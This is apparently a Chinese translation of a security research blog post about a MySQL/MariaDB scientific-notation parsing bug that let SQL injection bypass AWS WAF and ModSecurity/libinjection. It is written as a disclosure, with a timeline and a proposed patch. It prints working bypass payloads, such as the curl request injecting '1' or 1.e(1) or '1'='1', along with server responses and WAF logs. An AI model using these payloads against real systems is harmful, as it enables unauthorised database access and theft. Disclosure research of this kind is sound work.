打开网易新闻 查看更多图片

作者 |Marc Olivier Bergeron

译者 | 王雪迎

出品 | CSDN(ID:CSDNnews)

GoSecure道德黑客在MySQL中发现了一个具有安全问题的漏洞。该问题产生的后果是,AWS Web应用程序防火墙(AWS Web Application Firewall,WAF)客户对SQL注入失去保护。我们的研究团队进一步证实modsecurity也会受其影响,但正如本博客所述,保护是可以实现的。

问题发现

2013年,Roberto Salgado在BlackHat上发表了一篇题为“SQLi优化与混淆技术”的演讲,介绍了SQL注入的多种绕行技术,其中包括针对MySQL和MariaDB的技术。2018年,GoSecure道德黑客重提了该演示文稿,并开始在本地使用MySQL和MariaDB进行一些测试。我们发现在那篇演讲中提到的科学记数法漏洞,会产生比看上去更为严重的后果。事实证明,用它可以完成一些美妙的事情——从攻击者的角度来看是美妙的。这个漏洞允许SQL语法保持有效,即使它不该有效,给安全防御造成混乱。

科学记数法,特别是e符号,已经被集成到许多编程语言中,包括SQL。不清楚是否所有SQL都这样实现,但它是MySQL/MariaDB实现的一部分。下面是一个集成到SQL查询中的科学记数法示例。这实际上是2013年BlackHat演示中的一个。e符号将被忽略,因为它被用于无效的上下文中。

SELECT table_name FROM information_schema 1.e.tables

因此,实际上该查询的行为与以下相同:

SELECT table_name FROM information_schema .tables

通过几项测试,我们发现可以在关键字“1.e”后面加上以下字符:

( ) . , | & % * ^ /

为了说明这个问题,我们将使用下面的示例数据集来演示:

mysql> describe test;| Field | Type | Null | Key | Default | Extra || id | int | YES | | NULL | || test | varchar(255) | YES | | NULL | |2 rows in set (0.01 sec)
mysql> select id, test from test;| id | test || 1 | admin || 2 | usertest1 || 3 | usertest2 |3 rows in set (0.00 sec)

让我们看看关键字“1.e”和该关键字后面的字符可以实现什么效果:

mysql> select id 1.1e, char 10.2e(id 2.e), concat 3.e('a'12356.e,'b'1.e,'c'1.1234e)1.e, 12 1.e*2 1.e, 12 1.e/2 1.e, 12 1.e|2 1.e, 12 1.e^2 1.e, 12 1.e%2 1.e, 12 1.e&2 from test 1.e.test;| id | char 10.2e(id 2.e) | concat 3.e('a'12356.e,'b'1.e,'c'1.1234e) | 12 1.e*2 | 12 1.e/2 | 12 1.e|2 | 12 1.e^2 | 12 1.e%2 | 12 1.e&2 || 1 | 0x01 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 || 2 | 0x02 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 || 3 | 0x03 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 |3 rows in set (0.00 sec)

上述查询等价于以下查询:

mysql> select id, char(id), concat('a','b','c'), 12*2, 12/2, 12|2, 12^2, 12%2, 12&2 from test.test;| id | char(id) | concat('a','b','c') | 12*2 | 12/2 | 12|2 | 12^2 | 12%2 | 12&2 || 1 | 0x01 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 || 2 | 0x02 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 || 3 | 0x03 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 |3 rows in set (0.00 sec)

太疯狂了,对吧?让我们看一下如何在真实产品中利用此漏洞。

应该注意的是,关键字“1.e”中的数字并不重要。任何数字都可以介于点和“e”之间,并且点是强制性的(例如,“1337.1337e”也可行)。

滥用漏洞绕过AWS Web应用程序防火墙(WAF)

Amazon Web Services(AWS)有一个名为CloudFront的产品,它可以与AWS WAF相结合,并具有预定义的规则,以帮助公司保护其Web应用程序免受入侵。然而,在一次接触中,我们发现AWS WAF中的“SQL数据库”规则可以绕过上一节中显示的漏洞。

一个简单的查询可以显示WAF会阻止使用著名的 1'或'1'='1 注入来请求:

$ curl -i -H "Origin: http://my-domain" -X POST \"http://d36bjalk0ud0vk.cloudfront.net/index.php" -d "x=1' or '1'='1"HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 21 Jul 2021 21:38:16 GMTContent-Type: text/htmlContent-Length: 919Connection: keep-aliveX-Cache: Error from cloudfrontVia: 1.1 828380fdf2467860fea66d7412803418.cloudfront.net (CloudFront)X-Amz-Cf-Pop: YUL62-C1X-Amz-Cf-Id: eh5LR9w1Cjccxf5JAZ4yTkrsILZL3PLjqwCQbBUD_zakHi53NPCJrg==
"http://www.w3.org/TR/html4/loose.dtd">ERROR: The request could not be satisfied403 ERRORThe request could not be satisfied.Request blocked.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.
If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.
Generated by cloudfront (CloudFront)Request ID: eh5LR9w1Cjccxf5JAZ4yTkrsILZL3PLjqwCQbBUD_zakHi53NPCJrg==

现在我们看,如果我们在这个简单的注入中使用科学记数法,利用这个漏洞会发生什么:

$ curl -i -H "Origin: http://my-domain" -X POST \"http://d36bjalk0ud0vk.cloudfront.net/index.php" -d "x=1' or 1.e(1) or '1'='1"HTTP/1.1 200 OKContent-Type: text/html; charset=UTF-8Content-Length: 32Connection: keep-aliveDate: Wed, 21 Jul 2021 21:38:23 GMTServer: Apache/2.4.41 (Ubuntu)X-Cache: Miss from cloudfrontVia: 1.1 eae631604d5db564451a93106939a61e.cloudfront.net (CloudFront)X-Amz-Cf-Pop: YUL62-C1X-Amz-Cf-Id: TDwlolP9mvJGtcwB5vBoUGr-JRxzcX-ZLuumG9F4vioKl1L5ztPwUw==
1 admin2 usertest13 usertest2

仅上述绕过的证据就足以激发我们对该漏洞工作原因和方式的兴趣,以便正确地披露该漏洞,并向相关方展示其对安全性的影响。

漏洞调查

起初,我们没有向MySQL和MariaDB透露这个漏洞,因为我们没有看到它的影响。在我们发现WAF绕行之前,它不会以任何方式影响数据,也不会让你的权限升级。现在我们找到了一个具体的安全影响,让我们了解一下这个漏洞是如何产生的,以及为什么它会这样。

请记住,以下解释特意保持简明扼要。

首先,MySQL和MariaDB通过在查询中查找标记来工作,如数字、字符串、注释、行尾等。一旦代码认为它知道是什么类型的标记,就会通过发送正确的函数来解析该标记。

其次,我们要查看的代码段是整数或实数解析器,因为代码将首先到达该段:

case MY_LEX_INT_OR_REAL: // Complete int or incomplete realif (c != '.') { // Found complete integer number.yylval->lex_str = get_token(lip, 0, lip->yyLength());return int_token(yylval->lex_str.str, (uint)yylval->lex_str.length);} // fall through

第三,代码将通过实数函数找到一个点,这就是我们想要了解的代码:

case MY_LEX_REAL: // Incomplete real numberwhile (my_isdigit(cs, c = lip->yyGet()))
if (c == 'e' || c == 'E') {c = lip->yyGet();if (c == '-' || c == '+') c = lip->yyGet(); // Skip signif (!my_isdigit(cs, c)) { // No digit after signstate = MY_LEX_CHAR;break;while (my_isdigit(cs, lip->yyGet()))yylval->lex_str = get_token(lip, 0, lip->yyLength());return (FLOAT_NUM);yylval->lex_str = get_token(lip, 0, lip->yyLength());return (DECIMAL_NUM);

此时,代码已经处理了点之前的数字,并开始获取点之后的所有数字。然后,条件验证该字符是“e”或“E”,然后获取下一个字符。如果该字符不是数字,则将状态设置为“MY_LEX_CHAR”,然后使用“break”运算符结束switch语句,该运算符返回到switch case的开头。

最后,到达以下case语句,在这里,标记被完全遗忘并从查询中删除:

case MY_LEX_CHAR: // Unknown or single char tokencase MY_LEX_SKIP: // This should not happenif (c == '-' && lip->yyPeek() == '-' &&(my_isspace(cs, lip->yyPeekn(1)) ||my_iscntrl(cs, lip->yyPeekn(1)))) {state = MY_LEX_COMMENT;break;
if (c == '-' && lip->yyPeek() == '>') // '->'lip->yySkip();lip->next_state = MY_LEX_START;if (lip->yyPeek() == '>') {lip->yySkip();return JSON_UNQUOTED_SEPARATOR_SYM;return JSON_SEPARATOR_SYM;
if (c != ')') lip->next_state = MY_LEX_START; // Allow signed numbers
Check for a placeholder: it should not precede a possible identifierbecause of binlogging: when a placeholder is replaced with its valuein a query for the binlog, the query must stay grammatically correct.if (c == '?' && lip->stmt_prepare_mode && !ident_map[lip->yyPeek()])return (PARAM_MARKER);
return ((int)c);

我们通过阅读注释“Unknown or single CHAR token”可知,此时MySQL并不知道该怎么处理标记,而“MY_LEX_CHAR”条件只是简单地下传到“MY_LEX_SKIP”条件。在“MY_LEX_SKIP”的条件下,函数将以返回字符结束。需要注意的一点是,如果字符不是右括号,则状态被设置为“MY_LEX_START”,这将从一个新标记开始。无论哪种方式,即使它以一个右括号结束,仍然不会返回标记,因此它会被丢弃。

候选修正方案

候选修正方案很简单,比如在标记不正确时中止查询,而不是让它通过。当MySQL或MariaDB找到浮点标记的开头,并且浮点标记后面没有数字时,它应该中止查询。

if (c == 'e' || c == 'E') {c = lip->yyGet();if (c == '-' || c == '+') c = lip->yyGet(); // Skip signif (!my_isdigit(cs, c)) { // No digit after signreturn (ABORT_SYM); // <--- Fix here!while (my_isdigit(cs, lip->yyGet()))yylval->lex_str = get_token(lip, 0, lip->yyLength());return (FLOAT_NUM);

我们向MySQL和MariaDB项目提交了修复程序。注意,这不是我们常做的事情,因为项目维护人员通常更适合修复安全问题。然而在本例中,由于这在MySQL/MariaDB中本身不是一个安全问题,因此我们认为提供修复程序将增加快速解决问题的机会。此外,我个人对浏览大型C/C++代码库以发现问题所在很感兴趣。

带有安全隐患的漏洞

如前所述,此问题的安全影响不在MySQL和MariaDB的控制范围内。任何WAF或类似的安全产品,如果忽略像这样形成的SQL请求,都将容易受到攻击。情况很复杂。如果请求是畸形的,安全产品自然不会认为它们是有效的SQL,从而使它们不需要阻止。

什么是ModSecurity

我们首先在AWS WAF上发现了这个漏洞并报告了它。然而,我们后来决定评估ModSecurity,它是Apache和nginx的流行WAF。ModSecurity捆绑了libinjection,我们也发现它受到这个混淆漏洞的影响。

这里演示了modsecurity阻止恶意SQL注入模式的能力。检测结果显示,返回一个被禁止的页面。

modsecurity(使用libinjection)正在阻止SQL注入

crs_1 | 192.168.208.1 - - [08/Oct/2021:19:28:09 +0000] "GET /index.php?genre=action%27%20or%20%27%27=%27 HTTP/1.1" 403 199
crs_1 | [Fri Oct 08 19:28:40.345633 2021] [:error] [pid 218:tid 140514141660928] [client 192.168.208.1:49958] [client 192.168.208.1] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 's&sos' [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "65"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: s&sos found within ARGS:genre: action' or ''='"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "modsecurity"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"] [hostname "localhost"] [uri "/index.php"] [unique_id "YWCb6EwweO7WZjrKg6GHTgAAAMk"]

modsecurity日志高亮显示已触发libinjection

我们可以通过在字面表达式前加上科学记数法“1.e”来规避这种做法。Libinjection在内部标记参数并标识上下文节类型,如注释和字符串。Libinjection将字符串“1.e”视为一个未知的SQL关键字,并得出结论,它更可能是一个英语句子,而不是代码。当libinjection不识别SQL函数时,同样的行为也会出现。

打开网易新闻 查看更多图片

modsecurity和libinjection绕行演示

当我们联系OWASP核心规则集(Core Rule Set,CRS)安全团队时,他们表示,如果规则集配置偏执级别至少为2级,则可以提供有效的保护,这是检测混淆攻击的建议。

时间线

  • 2021-02-11:作为约定的一部分,通过AWS WAF滥用漏洞

  • 2021-08-16:向亚马逊披露滥用此漏洞的WAF绕行

  • 2021-09-29:请求状态更新

  • 2021-10-01:AWS表示问题已经解决

  • 2021-10-01:发现ModSecurity/libinjection也受到影响

  • 2021-10-04:确认AWS WAF修复

  • 2021-10-04:将候选补丁发送到MySQL和MariaDB

  • 2021-10-05:通过OWASP核心规则集项目(CRS)向ModSecurity/libinjection披露

  • 2021-10-05:确认ModSecurity/libinjection中的2级偏执解决方案

  • 2021-10-19:公开披露

结论

这个安全问题与其它许多问题不同,因为它很容易被轻视为一个简单的解析器错误。我们很高兴AWS了解了这一风险,并决定在WAF中解决这一问题,特别是因为这是一种我们以前从未见过的,使亚马逊客户可能无法得到保护的奇怪情况。

希望从长远来看,MySQL和MariaDB能够修复这个bug,10年后我们将能够从WAF中删除这种奇怪的解析器行为。

特别感谢Philippe Arteau,他对ModSecurity/libinjection进行了额外的测试。

原文链接:https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/

本文由CSDN组织翻译,转载请注明来源及出处!